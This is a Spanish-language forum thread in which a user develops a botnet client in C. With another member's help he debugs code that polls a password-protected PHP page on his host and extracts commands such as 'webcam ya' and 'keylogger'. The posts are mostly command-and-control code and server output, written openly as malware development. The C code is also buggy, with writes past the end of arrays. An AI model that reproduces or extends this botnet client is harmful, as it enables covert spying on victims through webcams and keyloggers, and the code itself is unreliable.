Controlar botnet con PHP

Iniciado por Kaxperday, 15 Septiembre 2014, 14:00 PM

0 Miembros y 2 Visitantes están viendo este tema.

Kaxperday

#30
Bueno haber he improvisado esta función haber xD

cliente.c

*char recojecomando()
{
   WSADATA wsa;
   int sok;
   struct sockaddr_in dir;
   char buf[60384],comando[100];
   WSAStartup(MAKEWORD(2,0),&wsa);
   if((sok=socket(AF_INET,SOCK_STREAM,0))==-1) {}
   else
   {
       dir.sin_family=AF_INET;
       dir.sin_port=htons(PUERTO);
       dir.sin_addr.s_addr=inet_addr(IP);

       strcpy(buf,"POST dir_protegido/usuario1.php HTTP/1.1\r\n");
       strcat(buf,"Host: miweb.com\r\n");
       strcat(buf,"Authorization: Basic aHR0cHdhdGNoOmY=");
       strcat(buf,"Content-type: application/x-www-form-urlencoded\r\n");
       strcat(buf,"\r\n\r\n");

       connect(sok,(struct sockaddr*)&dir,sizeof(dir));
       send(sok,buf,strlen(buf),0);
       recv(sok,comando,50,0);
       closesocket(sok);
   }
   return comando;
}


Ya me he conectado al server con esto se supone, como extraigo ahora la variable cual es la funcion? y es necesario usar el send? xD

Edito: Quizás sobre el content-type y los \r\n del final ya que no se sube variable, lo de autorizacion supongo que será necesario ya que el archivo está en directorio protegido.
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

T. Collins

Has mirado que te llega a la variable comando? Con 50 de largo no creo que te llegue.

Kaxperday

#32
Quieres decir que debería funcionar??  ;-) ;-) ;-) ;-) ;-) ;-) ;-)

jajaja bieeen, pero hasta que no lo pruebe no se celebra, es necesario usar el send? no podría usar el recv directamente? ya que no estoy mandando nada, no?

Edito: LOOOOOL jajajajaja que cojones xD, me han salido 8 líneas, ahora entiendo porque decías lo de que no entraba con 50 xD, pero aún no veo el comando, debería de salir abajo un "abre la wetcam" xD
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

T. Collins

En HTTP el cliente tiene que mandar la petición para que el servidor responda. En este caso tu mandas un POST ( POST dir_protegido/usuario1.php HTTP/1.1\r\n ) el servidor ejecutará usuario1.php y te mandara de vuelta la salida, pero con su cabecera HTTP por delante.

Kaxperday

#34
O-MAI-GAD ya lo teeeengooooo había cambiado el espacio  al definir char comando[] a uno mas grande pero en el recv no no habia cambiado y solo cogia 150, pero no era suficiente, pero bieeeen, problema resuelto >:D

Ahora es cuando digo como ** saco el comando de ahí xD

Si me sale hasta la publicidad del hosting abajo la madre que lo parió.

Bueno supongo que me las podré apañar contando las "\n" y situándome en la línea que está el comando.

Mañana espera largo día programación, muchas gracias a todos por la ayuda, sin vosotros no hubiera podido  ;-) ;-)

Os mantendré informados de como me va esto.

Saludos.
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

T. Collins

Te sale "MFDLWC" debajo de la cabecera?

Kaxperday

#36
Debajo de la cabecera me hay un salto de linea (una linea en blanco), en la siguiente linea pone a3, y en la siguiente linea esta el comando, y luego hay 3 lineas con publicidad del hosting, podría leer las \n desde atras y colocarme con el puntero delante del comando listo para leerlo, o eso creo xD, en verdad sale "webcam ya", mejor lo meto en un archivo y copio y pego...a la espera


HTTP/1.1 200 OK
Date: Wed, 17 Sep 2014 22:34:04 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
Content-Length: 163
Connection: close
Content-Type: text/html


webcam ya
<!-- Hosting24 Analytics Code -->
<script type="text/javascript" src="http://stats.hosting24.com/count.php"></script>
<!-- End Of Analytics Code -->


Sale esta preciosidad

PD ha desaparecido el a3 que salia antes lol

Edito: Madre mia esto es horiiiibleee al recoger el comando cada vez sale una cosa omg, hay veces que la cabecera que devuelve el server tiene más lineas que otras, hay otras que aparecen lineas como a8, a3 y no se mas cosas raras jajaja, y cuando da la casualidad y coje el comando bien resulta que los a veces los 2 primeros caracteres del comando son aleatorios como si no loshubiese leido omg horriiiblle x lo demas bien, agradeceria mucho algun algoritmp para sacar sano y salvo ese comando saludos
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

Kaxperday

#37
Bueno aquí estoy otra vez, me estoy desesperando un poco con esto:

Respuesta del servidor: (la muestro como código)


HTTP/1.1 200 OK
Date: Wed, 17 Sep 2014 22:34:04 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
Content-Length: 163
Connection: close
Content-Type: text/html


****keylogger
<!-- Hosting24 Analytics Code -->
<script type="text/javascript" src="http://stats.hosting24.com/count.php"></script>
<!-- End Of Analytics Code -->


Bien, ahí estaría leyendo el comando keylogger, os preguntaréis ¿por qué ha puesto los 4 asteriscos?, pues bien, me sirven para encontrar el comando de entre toda la cadena.

El algoritmo que uso para extraer el comando de la cadena es el siguiente:


b=0;
for(i=0;i<strlen(comando);i++)
       {
                            if(comando[i]=='*'&&comando[i+1]=='*'&&comando[i+2]=='*'&&comando[i+3]=='*')
           {
               i=i+4;
               printf("\n");
               while(comando[i]!='\n')
               {
                   comanda[b]=comando[i];
                   i++;
                   b++;
               }
               comanda[sizeof(comanda)-2]='\0';
               comanda[sizeof(comanda)-1]='\0';
               comanda[sizeof(comanda)]='\0';
               break;
           }
       }
   }
   printf("Comando extraido: %s\n\n",comanda);
   for(i=0;i<strlen(comanda);i++)
   {
       printf("(%c %d)",comanda[i],comanda[i]);
       getch();
   }
   return comanda;


Y bien, el programa estaba venga a fallar y fallar al recibir comando y tratar de ejecutarlo, el programa sacaba el comando de allí correctamente, y lo mostraba con un printf, pero luego no me entraba en un strcmp(comando,"keylogger"), y es que comando al hacer printf mostraba keylogger, pero su tamaño devuelto por strlen era 2 caracteres mayor aunque no los mostraba, entonces monté ee alboroto con el for para que me recorriera la cadena, traté de cortarla poniendo "\0", pues aparecen 2 caracteres basura que se incrustan al final de la cadena y no hay manera de sacarles.

Os pongo lo que ha mostrado el for:

(k 107) (e 101) (y 121) (l 108) (o 111) (g 103) (g 103) (e 101) (r 114) ( 13) (© -71)

Y para más colmo aún jajaja, los 2 últimos "carácteres" se sobreescriben sobre los que ya ha mostrado la consola, es decir en vez de irlos mostrando de izquierda->derecha->abajo-izquierda->derecha... no bajan y sobrescriben la línea  increible LOL.

Pues eso haber si podéis ayudarme a buscar una solución, el 13 es un retorno de carro (un enter), el otro ni idea de que pinta allí, buff y parecía que era fácil sacar una cadena de otra en c.

Edito: He vuelto a probarlo y me muestra esto:

(k 107) (e 101) (y 121) (l 108) (o 111) (g 103) (g 103) (e 101) (r 114) ( 13) (<< -82)

Luego el ultimo caracter es aleatorio, era << solo que las dos flechas más juntas y haciendo un solo caracter, pero no entiendo, he puesto "\0" en los 3 ultimos caracteres de la cadena debería de cortarse allí que broma es esta? Es que no te lo pierdas con otras cadenas me aparecen hasta 4 caracteres extra atrás todos seguidos del retorno de carro.

Por ejemplo puse a ejecutar el comando "ping teleco.com", la respuesta del servidor igual que la anterior solo que cambiando el comando bien(con los 4 asteriscos delante...), luego trato de extraer el comando me depura esto:

las letras y cuando acaba la cadena esto: ( 13) (É -114) (q 113)

Y la gracia es que esa q da mucho juego, porque luego hay un printf que dice:

printf("Comando extraido: %s",comando);


Y muestra:

qumando extraido: ping teleco.com

Saludos

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

T. Collins

Mirate esto: http://www.cplusplus.com/reference/cstring/
Por ejemplo strstr();
Igual que has puesto los asteriscos al principio, puedes ponerlos al final para delimitar el comando.

Kaxperday

#39
CitarIgual que has puesto los asteriscos al principio, puedes ponerlos al final para delimitar el comando.

Eso puede ser una solución, aunque  ya creo más en la magia que en los hechos.

Probando...

Edito: OOHHHH DIOOOSS SI SOLUCIONADO!! me pregunto porque ocurrirán estas mierdas!! Seguro tenía que ver con el recv(), aquí el script usado:


b=0;
for(i=0;i<strlen(comando);i++)
        {
            if(comando[i]=='*'&&comando[i+1]=='*'&&comando[i+2]=='*'&&comando[i+3]=='*')
            {
                i=i+4;
                while(comando[i]!='\n')
                {
                    comanda[b]=comando[i];
                    i++;
                    b++;
                }
                comanda[sizeof(comanda)]='\0';
                break;
            }
        }
    }
    b=0;
    for(i=0;i<strlen(comanda);i++)
    {
        if(comanda[i]!='*')
        {
            cumanda[b]=comanda[i];
            b++;
        }
        else
        {
            cumanda[b]='\0';
            break;
        }
    }
    printf("Comando extraido: %s\n\n",cumanda);
    for(i=0;i<strlen(cumanda);i++)
    {
        printf("(%c %d)",cumanda[i],cumanda[i]);
        getch();
    }
    return cumanda;


Lo que he echo es poner en el comando 4 asteriscos adelante y 4 detrás.

Saludos y gracias.
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.